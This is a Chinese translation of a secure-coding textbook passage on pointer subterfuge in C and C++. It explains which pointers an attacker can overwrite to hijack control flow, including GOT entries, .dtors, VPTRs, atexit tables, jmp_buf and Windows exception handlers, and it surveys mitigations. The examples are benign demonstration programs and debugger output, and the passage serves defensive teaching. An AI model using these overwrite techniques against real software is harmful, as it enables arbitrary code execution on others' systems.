任意内存写在32位的Intel架构（x86-32）上备受关注，因为在这种硬件环境下，sizeof（void*）、sizeof（int）、sizeof（long）都等于4字节。换句话说，在x86-32架构上，有很多机会可以将某4个字节写入另外4个字节，从而覆写任意位置的一个地址。 未知 3.4 修改指令指针 攻击者要想在x86-32架构上成功地执行任意代码，必须利用某种方式修改执令指针，使其指向外壳代码。指令指针寄存器（eip）存储了将要执行的下一条指令在当前代码段内的偏移量。 eip寄存器不能被软件直接访问。它在顺序执行代码时由一个指令边界步进到下一条指令，也可以由控制转移指令（例如jmp、jcc、call和ret等）、中断以及异常间接修改[Intel 2004]。 以call指令为例，它首先将返回信息存储于栈中，然后将控制权转移到由目标操作数指定的被调用函数处。目标操作数指定了被调用函数中的第一条指令的地址。该操作数可以是一个立即数（immediate value）、一个通用寄存器或一个内存位置。 例3.4展示了一个程序，其中使用函数指针funcPtr调用一个函数。第6行声明了一个函数指针，该指针所指函数为静态函数，后者接受一个常量字符串参数。在第7行中，该函数指针被赋值为good_function（）的地址，因此当第8行调用funcPtr时，实际上调用的是good_function（）。作为对比，第9行用静态方式调用了一次good_function（）。 例3.4 使用函数指针的示例程序 01 void good_function(const char *str) { 02 printf(\"%s\", str); 03 } 04 05 int main(void) { 06 static void (*funcPtr)(const char *str); 07 funcPtr = &good_function; 08 (void)(*funcPtr)(\"hi \"); 09 good_function(\"there!\\n\"); 10 return 0; 11 } 例3.5展示了例3.4中两次调用good_function（）的反汇编代码。第一个调用（使用函数指针的形式）发生于0x0042417F处，该地址的机器码为ff 15 00 84 47 00。在x86-32架构中call指令的形式有多种，本例中，ff操作码（参见图3.1）与一个ModR/M（15）结合使用，以指示一个绝对地址的间接调用。 图3.1 x86-32的call（调用）指令 最后4个字节包含了被调用函数的地址（这里存在一级间接性）。可以在例3.5中的dword ptr[funcPtr（478400h）]调用中看到这个地址。这个地址中所保存的good_function（）的实际地址为0x00422479。 例3.5 函数指针反汇编 (void)(*funcPtr)(\"hi \"); 00424178 mov esi, esp 0042417A push offset string \"hi\" (46802Ch) 0042417F call dword ptr [funcPtr (478400h)] 00424185 add esp, 4 00424188 cmp esi, esp good_function(\"there!\\n\"); 0042418F push offset string \"there!\\n\" (468020h) 00424194 call good_function (422479h) 00424199 add esp, 4 对good_function（）的第二个调用是个静态调用，它发生于0x00424194。该位置的机器码是e8 e0 e2 ff ff。在本例中，调用指令用e8操作码表示。这种形式的调用指令表示一个近调用相对下一条指令的偏移量。偏移量是一个负数，表示good_funciton（）出现在更低的地址处。 这些对good_function（）的调用提供了一些可被攻击和不可被攻击的调用指令例子。静态调用使用一个立即数作为相对偏移量，由于该偏移量处于code段中，因此无法被覆写。而通过函数指针的调用使用一个间接引用，被引用的地址（通常在data或stack段中）则可以被覆写。这些间接的函数引用与无法在编译期间决定的函数调用可以被利用，从而使程序的控制权转移到任意代码。对于目标是将程序控制权转移到攻击者提供的代码中的任意内存写技术，参见下文描述。"},
    {"text": "未知 3.5 全局偏移表 Windows和Linux在库函数的链接和控制转移方面使用了类似的机制。从安全的角度来看，二者主要的区别在于Linux使用的方法是可被利用的，而Windows则不然。 Linux、Solaris2.x和SVR4使用的默认二进制格式称为可执行和链接格式（Executable and Linking Format，ELF）。ELF最初由UNIX系统实验室（UNIX System Laboratories，USL）作为二进制应用程序接口（Application Binary Interface，ABI）的一个部分开发并发布。近来，工具接口标准（Tool Interface Standards，TIS） [1] 委员会采纳了ELF标准，将其作为多种x86-32操作系统上的可移植目标文件格式。 任何ELF的二进制文件的进程空间中，都包含一个称为全局偏移表（Global Offset Table，GOT）的区。GOT存放绝对地址，从而使得地址可用，并且不会影响位置独立性和程序代码的可共享性。要使得动态链接的进程能够工作，这个表是必不可少的。该表的实际内容和形式取决于处理器的型号[TIS 1995]。 程序使用的每一个库函数在GOT中都拥有一个入口项，GOT中包含有实际函数的地址。这使得很容易在进程内存中对库函数进行重定位。在程序首次使用一个函数之前，该入口项包含有运行时链接器（RunTime Linker，RTL）的地址。如果该函数被程序调用，则程序的控制权被转移到RTL，然后函数的实际地址被确定且被插入到GOT中。接下来就可以通过GOT中的入口项直接调用函数，而跟RTL就无关了。 在ELF可执行文件中GOT入口项的地址是固定的。这就导致对任何可执行进程映像而言GOT入口项都位于相同的地址。如例3.6所示，可以利用objdump命令查看某一个函数的GOT入口项的位置。为每一个R_386_JUMP_SLOT重定位记录指定的偏移量，包含了指定函数（或RTL链接函数）的地址。 例3.6 全局偏移表 % objdump --dynamic-reloc test-prog format: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049bc0 R_386_GLOB_DAT __gmon_start__ 08049ba8 R_386_JUMP_SLOT __libc_start_main 08049bac R_386_JUMP_SLOT strcat 08049bb0 R_386_JUMP_SLOT printf 08049bb4 R_386_JUMP_SLOT exit 08049bb8 R_386_JUMP_SLOT sprintf 08049bbc R_386_JUMP_SLOT strcpy 攻击者可以利用任意内存写将一个函数的GOT入口项覆写为外壳代码的地址。这样，当程序调用对应于被改写的GOT入口项的函数时，程序的控制权就被转移到外壳代码。例如，每一个编写良好的C程序最后都会调用exit（）函数，因此，只要覆写了exit（）的GOT入口项，就可以在exit（）被调用时将程序的控制权转移到指定的地址。ELF过程链接表（Procedure Linkage Table，PLT）具有类似的问题[Cesare 2000]。 Windows PE（Portable Executable，可移植的可执行）文件格式扮演着与ELF格式相似的角色。PE文件中包含一个数据结构数组，每一项对应一个导入的DLL。每一项都包含有导入的DLL的名称以及一个指向函数指针数组的指针（即导入地址表，Import Address Table，IAT）。每一个被导入的API在IAT中都有自己的保留槽，由Windows载入器为其填充导入函数的地址。一旦一个模块被载入，IAT就保存了需要调用的导入函数的地址。IAT的入口项是写保护的，因为它们在运行时无须修改。 [1] 该委员会是微机行业协会成员，为实现IA-32 开发工具软件接口的标准化而成立。"},
    {"text": "未知 3.6 .dtors区 任意内存写攻击的另外一个目标是覆写由GCC生成的可执行文件的.dtors区中的函数指针[Rivas 2001]。GNU C允许程序员利用__attribute__关键字后跟一个包含于双括号中的属性修饰符来声明函数的属性[FSF 2004]。属性修饰符包括constructor和destructor。constructor属性指示函数在main（）之前被调用，destructor属性则表示函数将在main（）执行完成后或exit（）被调用后进行调用。 例3.7所示的程序展示了constructor和destructor属性的用法。该程序包含3个函数：main（）、create（）和destroy（）。第4行声明的create（）函数是一个构造函数，第5行声明的destroy（）函数则是一个析构函数。这两个函数都没有被main（）调用，main（）只是打印了两个函数的地址然后就退出了。例3.8展示了示例程序的执行结果。显然，create（）首先执行，然后是main（），最后才是destroy（）。 例3.7 具有constructor和destructor属性的程序 01 #include <stdio.h> 02 #include <stdlib.h> 03 04 static void create(void) __attribute__ ((constructor)); 05 static void destroy(void) __attribute__ ((destructor)); 06 07 int main(void) { 08 printf(\"create: %p.\\n\", create); 09 printf(\"destroy: %p.\\n\", destroy); 10 exit(EXIT_SUCCESS); 11 } 12 13 void create(void) { 14 puts(\"create called.\\n\"); 15 } 16 17 void destroy(void) { 18 puts(\"destroy called.\"); 19 } 例3.8 示例程序的输出 % ./dtors create called. create: 0x80483a0. destroy: 0x80483b8. destroy called. 构造函数和析构函数分别存储于生成的ELF可执行映像的.ctors和.dtors区中。这两个区都具有如下的布局形式： 0xffffffff { 函数地址 } 0x00000000 .ctors和.dtors区映射到进程地址空间后，默认属性为可写。漏洞利用程序从未利用过构造函数，因为它们都在main（）函数之前执行。结果，攻击者的兴趣都集中到了析构函数和.dtors区上。 如例3.9所示，可以使用objdump命令检查可执行映像中.dtors区中的内容，我们可以看到头、尾标签，以及destroy（）函数的地址（采用小端格式）。 例3.9 .dtors区的内容 1 % objdump -s -j .dtors dtors 2 3 dtors: file format elf32-i386 4 5 Contents of section .dtors: 6 804959c ffffffff b8830408 00000000 攻击者可以通过覆写.dtors区中的函数指针的地址从而将程序控制权转移到任意的代码。如果攻击者能够读取到目标二进制文件，那么通过分析ELF映像，很容易就能确定要覆写的确切位置。 有趣的是，即使没有指定任何析构函数，.dtors区仍然存在。在这种情况下，该区中只含有头、尾标签而中间没有函数地址。不过，仍然可以通过将尾标签0x00000000覆写为攻击者提供的外壳代码的地址，从而将控制转移过去。如果外壳代码返回，则进程将会继续调用接下来的函数直到遇到尾标签或发生错误为止。 对于攻击者而言，覆写.dtors区的好处在于该区总是存在并且会映射到内存中 [1] 。当然，dtors仅存在于用GCC编译和链接的程序中。有时候，很难找到合适的外壳代码注入点，使得在main（）退出后外壳代码仍然能够驻留在内存中。 [1] .dtors 区不会被一个二进制strip(1) 删除。"},
    {"text": "未知 3.7 虚指针 在C++中可以定义虚函数（virtual function）。虚函数就是用virtual关键字声明的类成员函数。该函数可以由派生类中的同名函数重写。一个指向派生类对象的指针可以被赋给基类指针，并且通过该指针来调用函数。如果没有虚函数，则调用的是基类的函数，因为它和指针的静态类型相关联。当使用虚函数时，调用的则是派生类的函数，因为该函数和对象的动态类型相关联。 例3.10描述了虚函数的语义。类a是一个基类，它包含一个常规函数f（）和一个虚函数g（）。 类b派生自a，分别重写了这两个函数。在main（）中，声明了一个指向基类的指针my_b，但它被赋值为指向一个派生类b对象。当在第25行中调用非虚函数my_b-﹥f（）时，与a（基类）相关联的函数f（）被调用。而当在第26行中调用虚函数my_b-﹥g（）时，与b（派生类）相关联的函数g（）被调用。 例3.10 虚函数的语义 01 class a { 02 public: 03 void f(void) { 04 cout << \"base f\" << '\\n'; 05 }; 06 07 virtual void g(void) { 08 cout << \"base g\" << '\\n'; 09 }; 10 }; 11 12 class b: public a { 13 public: 14 void f(void) { 15 cout << \"derived f\" << '\\n'; 16 }; 17 18 void g(void) { 19 cout << \"derived g\" << '\\n'; 20 }; 21 }; 22 23 int main(void) { 24 a *my_b = new b(); 25 my_b->f(); 26 my_b->g(); 27 return 0; 28 } 大多数C++编译器使用虚函数表（Virual Function Table，VTBL）实现虚函数。VTBL是一个函数指针数组，用于在运行时派发虚函数调用。在每一个对象的头部，都包含一个指向VTBL的虚指针（Virtual Pointer，VPTR）。VTBL含有指向虚函数的每一个实现的指针。图3.2展示了例3.10中的数据结构。 图3.2 VTBL的运行时表示 覆写VTBL中的函数指针或者改变VPTR使其指向其他任意的VTBL都是可能的，可以通过任意内存写或者利用缓冲区溢出直接写入对象实现这一操作。通过对对象的VTBL和VPTR的覆写，攻击者可以使函数指针执行任意的代码。VPTR粉碎（VPTR smashing）攻击尚未泛滥，但在其他攻击手段都失效的情况下它就可能会被采用[Pincus 2004]。 未知 3.8 atexit（）和on_exit（）函数 atexit（）是C标准定义的一个通用工具函数。atexit（）可以注册无参函数，并在程序正常结束后调用该函数。C要求实现支持至少32个函数的注册。SunOS上的on_exit（）函数具有类似的功能。libc4、libc5和glibc也提供了这样的函数[Bouchareine 2005]。 在例3.11展示的程序中，第8行（main（）中）使用atexit（）注册test（）函数。该程序在退出前将全局变量glob赋值为字符串“Exiting.\\n”（第9行）。test（）函数在程序退出后得以执行，并且打印出该字符串。 例3.11 使用atexit（）的程序 01 char *glob; 02 03 void test(void) { 04 printf(\"%s\", glob); 05 } 06 07 int main(void) { 08 atexit(test); 09 glob = \"Exiting.\\n\"; 10 } atexit（）通过向一个退出时将被调用的已有函数的数组中添加指定的函数完成工作。当exit（）被调用时，数组中的每一个函数都以“后进先出”（Last-in，First-out，LIFO）的顺序被调用。由于atexit（）和exit（）都要访问该数组，因此它被分配为一个全局性的符号（在BSD操作系统中是__atexit，在Linux操作系统中则是__exit_funcs）。 例3.12中使用gdb调试atexit程序的会话过程，展示了atexit数组的位置和结构。在该调试会话中，在main（）中调用atexit（）之前设了一个断点，然后运行程序。接下来执行atexit（），注册test（）函数。在test（）函数注册后，显示了在__exit_funcs位置处的内存。每一个函数都保存在由4个双字（doubleword）构成的结构中。每一个结构的最后一个双字保存着函数的实际地址。通过检查这些地址的内存得知，已经注册了3个函数： _dl_fini（）、__libc_csu_fini（）以及我们编写的test（）。可以通过对__exit_funcs结构采用任意内存写或缓冲区溢出手段将程序的控制权转移到任意的代码。请注意，即使受攻击的程序不显式调用atexit（）注册_dl_fini（）和__libc_csu_fini（）函数，它们也会存在。 例3.12 使用gdb的atexit程序的调试会话 (gdb) b main Breakpoint 1 at 0x80483f6: file atexit.c, line 6. (gdb) r Starting program: /home/rcs/book/dtors/atexit Breakpoint 1, main (argc=1, argv=0xbfffe744) at atexit.c:6 6 atexit(test); (gdb) next 7 glob = \"Exiting.\\n\"; (gdb) x/12x __exit_funcs 0x42130ee0 <init>: 0x00000000 0x00000003 0x00000004 0x4000c660 0x42130ef0 <init+16>: 0x00000000 0x00000000 0x00000004 0x0804844c 0x42130f00 <init+32>: 0x00000000 0x00000000 0x00000004 0x080483c8 (gdb) x/4x 0x4000c660 0x4000c660 <_dl_fini>: 0x57e58955 0x5ce85356 0x81000054 0x0091c1c3 (gdb) x/3x 0x0804844c 0x804844c <__libc_csu_fini>: 0x53e58955 0x9510b850 x102d0804 (gdb) x/8x 0x080483c8 0x80483c8 <test>: 0x83e58955 0xec8308ec 0x2035ff08 0x68080496"},
    {"text": "未知 3.9 longjmp（）函数 C标准定义了setjmp（）宏、longjmp（）函数，以及jmp_buf类型，它们可以用来绕过正常的函数调用和返回规则。 setjmp（）宏为稍后将会调用的longjmp（）函数保存其调用环境。longjmp（）则恢复最后一次由setjmp（）宏保存的调用环境。例3.13展示了longjmp（）是如何将程序控制权返回到setjmp（）调用点的。 例3.13 longjmp（）函数使用示例 01 #include <setjmp.h> 02 jmp_buf buf; 03 void g(int n); 04 void h(int n); 05 int n = 6; 06 07 void f(void) { 08 setjmp(buf); 09 g(n); 10 } 11 12 void g(int n) { 13 h(n); 14 } 15 16 void h(int n){ 17 longjmp(buf, 2); 18 } 例3.14展示了Linux中jmp_buf数据结构的实现及其相关定义。jmp_buf结构（第11～15行）包含3个域。调用环境存储于__jmp_buf（于第1行声明）中。__jmp_buf类型是一个包含了6个元素的整数数组。#define语句指明每个数组元素中保存的值。例如，基址指针（Base Pointer，BP）存储于__jmp_buf[3]中，而程序计数器（Program Counter，PC）则存储于__jmp_buf[5]中。 例3.14 jmp_buf结构的Linux实现 01 typedef int __jmp_buf[6]; 02 03 #define JB_BX 0 04 #define JB_SI 1 05 #define JB_DI 2 06 #define JB_BP 3 07 #define JB_SP 4 08 #define JB_PC 5 09 define JB_SIZE 24 10 11 typedef struct __jmp_buf_tag { 12 __jmp_buf __jmpbuf; 13 int __mask_was_saved; 14 __sigset_t __saved_mask; 15 } jmp_buf[1]; 例3.15展示了Linux上为longjmp（）产生的汇编指令。第2行的movl指令恢复BP，第3行的movl指令恢复栈指针（SP），第4行则将程序控制权转移到保存的PC。 例3.15 在Linux上为longjmp（）生成的汇编指令 1 movl i, %eax /* 返回 i */ 2 movl env.__jmpbuf[JB_BP], %ebp 3 movl env.__jmpbuf[JB_SP], %esp 4 jmp (env.__jmpbuf[JB_PC]) 可以通过将jmp_buf缓冲区中PC的值覆写为外壳代码的起始地址的方法来利用longjmp（）函数。任意内存写或者直接针对jmp_buf结构的缓冲区溢出都能达到这个目的。 未知 3.10 异常处理 异常就是函数操作中发生的意外情况。例如，被除0将会产生一个异常。很多程序员采取实现异常处理程序的方式来处理这些特殊情况，以避免非预期的程序中止。另外，异常处理程序被串在一起并以一定的顺序被调用，直到其中一个能够处理异常为止。 Microsoft Windows操作系统提供了如下三种形式的异常处理程序。操作系统按给定的顺序调用它们，直到其中某一个被成功执行。 1.向量化异常处理（Vectored Exception Handling，VEH）。向量化异常处理程序首先调用以重写结构化异常处理程序。Windows XP增加了对这种异常处理程序的支持。 2.结构化异常处理（Structured Exception Handling，SEH）。这种方式被实现为每函数（per-function）或每线程（per-thread）的异常处理程序，即每一个函数或每一个线程都有自己的异常处理程序。 3.系统默认异常处理。这是一个全局异常过滤器和处理器，用于处理整个进程的异常情况。如果上面两个异常处理程序都无法处理异常，那么它将会被调用。 下面一节将讨论结构化异常处理和系统默认异常处理。向量化异常处理由于未在软件漏洞利用中广泛使用，因而略去。"},
    {"text": "未知 3.10.1 结构化异常处理 SEH通常在编译器级别通过try...catch语句实现，如例3.16所示。 例3.16 try...catch语句 1 try { 2 // 在这里做一些事 3 } 4 catch(...){ 5 // 在这里处理异常 6 } 7 __finally { 8 // 在这里处理清理 9 } try块中引发的任何异常都将被匹配的catch块处理。如果catch块无法处理该异常，那么它将被传回之前的范围块。__finally关键字是微软对C/C++语言的扩展，用于表示一个代码块，该代码块被调用来清理由try块说明的任何东西。不管try块如何退出,该关键字都被调用。 对结构化异常处理而言，Windows为每线程的异常处理程序提供了特殊支持。编译器产生的代码将一个指向EXCEPTION_REGISTRATION结构的指针的地址，写入fs段寄存器所引用的地址。这个结构在Visual C++运行库源文件的EXSUPP.INC中使用汇编语言struc定义，它包含2个数据元素，如例3.17所示。 例3.17 EXCEPTION_REGISTRATION struc的定义 1 _EXCEPTION_REGISTRATION struc 2 prev dd ? 3 handler dd ? 4 _EXCEPTION_REGISTRATION ends 在这个结构中，prev是一个指向异常处理程序链中前一个EXCEPTION_HANDLER结构的指针，handler则是一个指向实际异常处理程序函数的指针。 Windows针对异常处理程序施加了几条强制性的措施，以确保异常处理程序链和系统的完整性： 1.EXCEPTION_REGISTRATION结构必须在栈上分配。 2.prev EXCEPTION_REGISTRATION结构必须处于栈中较高的地址。 3.EXCEPTION_REGISTRATION结构必须按双字边界对齐。 4.如果可执行映像头部列出了SAFE SEH处理程序地址 [1] ，那么处理器地址必须被列为SAFE SEH处理程序。反之，任何结构化异常处理程序都可以被调用。 编译器在函数开头（function prolog）初始化栈帧。例3.18展示了Visual C++产生的典型的函数开头。这段代码建立了如表3.1所示的栈帧结构。编译器在栈中为局部变量保存空间。因为异常处理程序地址紧跟在局部变量之后，因此，如果一个栈变量发生缓冲区溢出，那么异常处理程序地址就可以被覆写为任意值。 例3.18 栈帧初始化 1 push ebp 2 mov ebp, esp 3 and esp, 0FFFFFFF8h 4 push 0FFFFFFFFh 5 push ptr [Exception_Handler] 6 mov eax, dword ptr fs:[00000000h] 7 push eax 8 mov dword ptr fs:[0], esp 表3.1 具有异常处理程序的栈帧 除了覆写单独的函数指针外，还可以替换线程环境块（Thread Environment Block，TEB）中的指针，已注册的异常处理程序的列表就是由该指针所引用的。攻击者需要仿造一个列表入口作为攻击代码的一部分，然后利用任意内存写技术修改第一个异常处理程序域。尽管最新版本的Windows已经加入了列表入口有效性校验功能，然而Litchfield示范了在很多情况下都可以成功地进行利用攻击[Litchfield 2003a]。 [1] Microsoft Visual Studio.NET编译器支持创建带有SAFE SEH的代码，但这种检查只在WindowsXP SP2中强制执行。 未知 3.10.2 系统默认异常处理 Windows为进程提供了一个全局异常过滤器和处理程序，如果之前所述的异常处理程序都没能处理异常，那么该处理程序就会被调用。很多程序员为了让程序能够优雅地处理非预期的错误或者只是为了调试方便，往往会为整个进程实现一个未处理异常过滤器。 未处理异常过滤器函数利用SetUnhandledExceptionFilter（）函数进行设置。该函数作为进程的最后一级异常处理程序而被调用。然而，如果攻击者利用任意内存写技术覆写了某特定内存地址，则未处理异常过滤器可以被重定向去执行任意代码。不过，Windows XP SP2对指针地址进行了编码，使得前述的重定向操作不再轻而易举。在现实编程中，如果不了解进程的细节信息，攻击者很难对指针值进行正确地编码。 未知 3.11 缓解策略 防止指针诡计的最佳方式就是消除“允许内存被不正确地覆写”的漏洞。覆写对象指针（本章中已有讨论）、常见的动态内存管理错误（见第4章）、字符串格式化漏洞（见第6章）都可能导致指针诡计的发生。消除这些漏洞来源是消除指针诡计的最佳方式。当然，也存在其他缓解策略，不过，尽管这些策略有所帮助，但不能依赖它们彻底解决问题。 未知 3.11.1 栈探测仪 在第2章，我们考察了由于有缺陷的字符串操作和栈溢出攻击所导致的漏洞的缓解策略，其中就包括栈探测仪。遗憾的是，栈探测仪仅对那些欲通过溢出栈缓冲区来覆写栈指针或者其他受保护区域的漏洞利用有效。栈探测仪并不能防止对变量、对象指针或者函数指针进行修改的漏洞利用。栈探测仪不能阻止包括栈段在内的任何位置发生缓冲区溢出。 未知 3.11.2 W^X 减少目标暴露的方法之一就是降低有漏洞的进程的权限。第2章描述的“W^X”策略，意思就是一段内存区域要么可写要么可执行，但不可同时两者兼备。这种策略不能防止类似于atexit（）这样的同时需要运行时写入和可执行的目标覆写。此外，这一策略没有得到广泛地实施。"},
    {"text": "未知 3.11.3 对函数指针编码和解码 程序可以存储一个指针的加密版本，而不是存储该指针。攻击者需要破解加密的指针才能重定向到其他代码。建议使用类似的方法处理敏感或个人数据，如对密钥或信用卡号码进行加密。 Thomas Plum和Arjun Bijanki [Plum 2008]在2008年9月圣克拉拉WG14会议上提议，在C11标准中加入encode_pointer（）和decode_pointer（）函数。这两个函数与Microsoft Windows的两个函数（EncodePointer（）和DecodePointer（））的目的类似，但细节略有不同，后者被Visual C++的C运行时库所使用。 提议的encode_pointer（）函数的规格说明如下。 简介 #include <stdlib.h> void (*)() encode_pointer(void(*pf)()); 描述 encode_pointer（）函数执行PF参数的转换，转换后的内容可以用decode_pointer（）函数逆转换。 返回值 转换的结果。 提议的decode_pointer（）函数的规格说明如下。 简介 #include <stdlib.h> void (*)() decode_pointer(void(*epf)()); 描述 decode_pointer（）函数逆转由encode_pointer（）函数执行的转换。 返回值 逆转换的结果。 这两个函数定义了导致任何可以在下面的表达式中使用的函数指针pfn。 decode_pointer(encode_pointer((void(*)())pfn)); 然后被转换成等于pfn的pfn类型。 然而，如果在某些特定实现定义的条件下发生encode_pointer（）和decode_pointer（）的调用，这种encode_pointer（）和decode_pointer（）之间的逆关系则是无效的。例如，如果调用发生在不同的执行进程中，则逆关系是无效的。在该实现中，转换方法可以用编码/解码算法对进程编号进行编码。 指针编码的过程并没有防止缓冲区溢出或任意内存写入，但它确实使这些漏洞更加难以利用。此外，这条提交给WG14的建议被拒绝，因为代表们认为，由编译器执行指针加密和解密比用库函数更好。因此，指针加密和解密被留作一个“实现的质量”问题。 据CERT所知，目前并没有任何编译器对函数指针执行加密和解密，甚至还没有这样一个选项。开发Microsoft Windows代码的程序员应该使用EncodePointer（）和DecodePointer（）加密函数指针。微软在其系统代码中使用这些函数，以杜绝任意内存写，但要收到成效，在你的应用程序中的所有指针（包括函数指针）都必须受到保护。对于其他平台，必须先开发这种函数。 未知 3.12 小结 就像栈溢出攻击被用于覆写返回地址一样，缓冲区溢出可被用于覆写对象指针或函数指针。覆写函数指针或对象指针的能力取决于缓冲区溢出发生的地址和目标指针之间距离的远近，不过一般而言，同一个内存段内都存在这样的机会。 攻击函数指针使得攻击者能够直接将程序的控制权转移到由其提供的任意代码。对对象指针进行修改并赋值的能力创建了任意内存写技术。 不管环境如何，任意内存写技术都有很多机会将程序的控制权转移给任意的用于任意内存写技术的代码。其中一些目标是C标准特性的结果（例如longjmp（）和atexit（）等），另外一些则特定于编译器（例如.dtors节）或操作系统（例如on_exit（））。除了本章描述的目标之外，还存在许多其他的目标（包括已知的和未知的）。 任意内存写攻击可以轻易地打败基于探测仪的保护方案。对受攻击目标全部进行写保护是不现实的，因为目标有很多，而且其中很多（例如函数指针）又确实有在运行阶段进行修改的要求。缓解策略之一是只保存指针加密后的版本。 发生于任何内存段的缓冲区溢出都可以被利用以执行任意的代码，因此，将变量从栈转移到数据段或堆中并非解决方案。预防因缓冲区溢出导致的指针诡计的最佳措施，就是消除可能产生缓冲区溢出的条件。 下一章将讨论一些基于堆的漏洞及其利用方式，攻击者可以利用这些漏洞覆写任意位置的地址。这些利用方式源于堆上的缓冲区溢出、对已释放内存的写操作以及对free（）的多次调用漏洞。 未知 3.13 阅读材料 指针诡计攻击主要是针对StackGuard以及其他产品所引入的栈探测仪检测（stack canary checking）技术而发展起来的。Rafal Wojtczuk讨论了通过覆写GOT入口项的方式击败Solar Designer的不可执行栈补丁的方法[Wojtczuk 1998]。Matt Conover发表于1999年的有关堆利用（heap exploitation）的论文包含一些指针诡计攻击的例子[Conover 1999]。Bulba和Gerardo Richarte也描述了击败StackShield和StackGuard保护方案的指针诡计利用方式[Bulba 2000.Richarte 2002]。David Litchfield讨论了异常处理程序劫持（exception-handler hijacking）[Litchfield 2003a，2003b]。rix在Phrack56中描述了破坏C++ VPTR的攻击[rix 2000]。J.Pincus提供了很好的指针诡计攻击概述[Pincus 2004]。"},
    {"text": "未知 第4章 动态内存管理 与Fred Long、Gerhard Muenz和Martin Sebor [1] 合著 By the pricking of my thumbs, Something wicked this way comes. Open.locks, Whoever knocks! —William Shakespeare,Macbeth.act4.scene1 一些C和C++的程序需要对可变数量的数据元素进行操作，这就要求使用动态内存来管理这种数据。绝大多数非安全关键型的应用程序都使用动态存储分配。 内存管理一直是难以捉摸的编程缺陷、安全缺陷和漏洞的来源之一。例如，将同一块内存释放两次就是一个编程缺陷，这种行为会导致可利用的漏洞。并非只有覆写栈中内存的缓冲区溢出才是危险的，堆中发生缓冲区溢出同样会造成危险的后果。 本章介绍Linux和Windows平台上的C和C++动态内存管理，考察常见的动态内存管理错误，并对其导致的安全风险进行评估。 堆中的内存是由动态内存分配器或内存管理器管理的。Doug Lea的malloc和微软的RtlHeap [2] 都是内存管理器的例子，对它们使用不当会导致易受攻击的漏洞。列举这两个内存管理器是因为它们被广泛采用。容易招致基于堆的漏洞利用的动态内存管理器绝非仅此两种。虽然对各种内存管理器漏洞利用的细节有所不同，但所有这些漏洞都是一小部分因为编码错误而引入到程序的未定义行为导致的。 [1] Fred Long 是英国阿伯里斯特威斯大学计算机科学系的高级讲师。Gerhard Muenz 是西门子AG 公司的技术讲师和研究员。Martin Sebor 是思科系统公司的一位技术领导。 [2] RtlHeap 中的Rtl 代表运行时库（runtime library）。 未知 4.1 C内存管理 4.1.1 C标准内存管理函数 下面的内存管理函数是由C标准指定，并在现有的多个平台的编译器实现上被广泛使用。一些操作系统，包括微软Windows的各种版本，提供额外的特定于平台的API。由C标准定义的4个内存分配函数如下： malloc（size_t size）分配size个字节，并返回一个指向分配的内存的指针。它返回的指针与可以被放置在已分配的存储空间的最严格对齐的对象对齐。分配的内存未被初始化为一个已知值。 aligned_alloc（size_t alignment.size_t size）为一个对象分配size个字节的空间，此对象的对齐方式是alignment指定的。alignment的值必须是实现支持的一种有效的对齐方式，size的值必须是alignment的整数倍，否则行为就是未定义的。aligned_alloc（）函数返回一个指向分配的空间的指针，如果分配失败，则返回一个空指针。 realloc（void *p.size_t size）将p所指向的内存块的大小改为size个字节。新大小和旧大小中较小的值那部分内存所包含的内容不变，新分配的内存未做初始化，因此将有不确定的值。如果内存请求不能被成功分配，那么旧的对象保持不变，而且没有值被改变。如果p是一个空指针，则该调用等价于malloc（size）；如果size等于0，则该调用等价于free（p），但这种释放内存的用法应该避免。如果p不是一个空指针，则其必须是早先调用malloc（）、calloc（）、aligned_alloc（）或realloc（）所返回的结果。 calloc（size_t nmemb.size_t size）为数组分配内存，（该数组共有nmemb个元素，每个元素的大小为size个字节）并返回一个指向所分配的内存的指针。所分配的内存的内容全部被设置为0。 内存分配函数返回一个指向分配的内存的指针，这块内存是按照任何对象类型恰当地对齐的，如果请求失败，则返回一个空指针。连续调用内存分配函数分配的存储空间的顺序和邻接是不确定的。所分配的对象的生存期从分配开始，到释放时结束。每个这样的分配返回一个指向不与任何其他对象相交的对象的指针。返回的指针指向所分配的空间的起始地址（最低字节地址）。如果不能成功地分配空间，则返回空指针。 C标准还定义了一个内存释放函数： free（void*p）释放由p指向的内存空间，这个p必须是先前通过调用aligned_alloc（）、malloc（）、calloc（）或realloc（）返回的。如果引用的内存不是被这些函数之一分配的或free（p）此前已经被调用过，将会导致未定义行为。如果p是一个空指针，则不执行任何操作。 由C内存分配函数分配的对象有分配存储期限。存储期限是一个对象的属性，它定义了包含该对象存储的最低潜在生存期。这些对象的生存期并不限定于创建它的范围内，因此，如果在一个函数内调用malloc（），那么在该函数返回后，已分配的内存仍然存在。"},
    {"text": "未知 4.1.2 对齐 完整的对象类型有对齐（alignment）要求，这种要求对可以分配该类型对象的地址施加限制。对齐是实现定义的整数值，它表示可以在一个连续的地址之间分配给指定的对象的字节数量。对象类型规定了每一个该类型对象的对齐要求。例如，在诸如SPARC或Intel x86的32位机器上，或在任何摩托罗拉68020及更高版本的芯片上，每个对象通常都必须从其类型大小的倍数的地址开始“自对齐”。因此，32位的类型必须从一个32位的边界开始，16位的类型必须从一个16位的边界开始，8位类型可以从任意位置开始，而结构/数组/联合类型按其最严格的成员对齐。 上述这些规则是机器本地寻址模式的结果。消除对齐要求，往往需要生成代码进行跨字边界域访问，或从更慢的奇数地址访问，从而减慢内存访问。 完整的对象（complete object） 对象中可以包含其他对象，被包含的对象称为子对象（subobject）。子对象可以是成员子对象、基类子对象，或数组元素。如果一个对象不是任何其他对象的子对象，那么它被称为一个完整的对象。[ISO/IEC 14882:2011] 对齐有一个从较弱的对齐到较强的对齐（或更严格的对齐）的顺序。越严格的对齐，其对齐值越大。一个地址满足某一种对齐要求，也满足任何更弱的有效对齐要求。char、signed char、unsigned char类型的对齐要求最弱。对齐表示为size_t类型的值。每个有效对齐值都是2的一个非负整数幂。有效的对齐包括基本类型的对齐，加上额外的一组可选的实现定义的值。 基本对齐（fundamental alignment）小于或等于在所有上下文中由编译器支持的最大对齐。max_align_t类型的对齐与在所有上下文中由编译器支持的对齐大小相同。指定alignas（max_align_t）的声明，要求适合该平台的任何类型的对齐。扩展对齐（extended alignment）大于max_align_t类型的对齐。一个具有扩展对齐要求的类型也称为超对齐（overaligned）类型。每个超对齐类型，要么是一个结构或联合类型，其中一个成员已应用扩展对齐，要么它包含这样的类型。如果实现支持，可以使用aligned_alloc（）函数分配比正常更严格的对齐的内存。如果一个程序要求比alignof（max_align_t）更大的对齐，那么这个程序是不可移植的，因为对超对齐类型的支持是可选的。 